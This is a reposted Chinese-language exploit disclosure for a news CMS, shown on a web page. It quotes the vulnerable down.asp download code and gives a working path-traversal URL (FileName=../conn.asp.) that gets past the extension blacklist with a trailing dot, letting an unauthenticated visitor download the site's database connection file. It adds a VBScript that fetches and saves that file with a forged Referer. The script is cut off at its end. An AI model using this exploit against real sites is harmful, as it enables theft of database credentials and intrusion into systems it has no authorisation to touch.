注册
登录
| 关键词： FileName Stream asp CreateObject nbsp Response 文件 strUrl ThenResponse TrueFileName |
===============================================================Author:Tr4c3[dot]126[dot]com版权所有 http://www.nspcn.org===============================================================#+++影响版本：沸腾展望新闻系统[核心:尘缘雅境] V1.1 Access版 Finish(SP3)#+++漏洞文件:down.asp#+++关键代码： Const adTypeBinary = 1FileName = Request.QueryString("FileName")if FileName = "" ThenResponse.Write "无效文件名！"Response.EndEnd ifFileExt = Mid(FileName, InStrRev(FileName, ".") + 1)Select Case UCase(FileExt)Case "ASP", "ASA", "ASPX", "ASAX", "MDB"Response.Write "非法操作！"Response.EndEnd SelectResponse.Clearif lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" thenResponse.ContentType = "image/*" '对图像文件不出现下载对话框elseResponse.ContentType = "application/ms-download"end ifResponse.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))Set Stream = server.CreateObject("ADODB.Stream")Stream.Type = adTypeBinaryStream.Open SavePath = FileUploadPath '存放上传文件的目录TrueFileName = SavePath & FileName Stream.LoadFromFile Server.MapPath(TrueFileName)While Not Stream.EOSResponse.BinaryWrite Stream.Read(1024 * 64)Wend #+++Exploit: http://www.target.com/down.asp?FileName=../conn.asp. (不需要登录，用minibrowser伪造referer) #+++VBS版利用 Dim strUrl, strDatastrUrl = "http://www.target.com/down.asp?FileName=../conn.asp."Set xPost = CreateObject("Microsoft.XMLHTTP")With xPost.open "Get", strUrl, False.SetRequestHeader "Referer", strUrl.Send()strData = .responseBody End withSet sGet = CreateObject("ADODB.Stream")With sGet.Mode = 3.Type = 1.Open().Write(strData).SaveToFile "Conn.asp",2End with set sGet = Nothingset xPost = Nothin |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
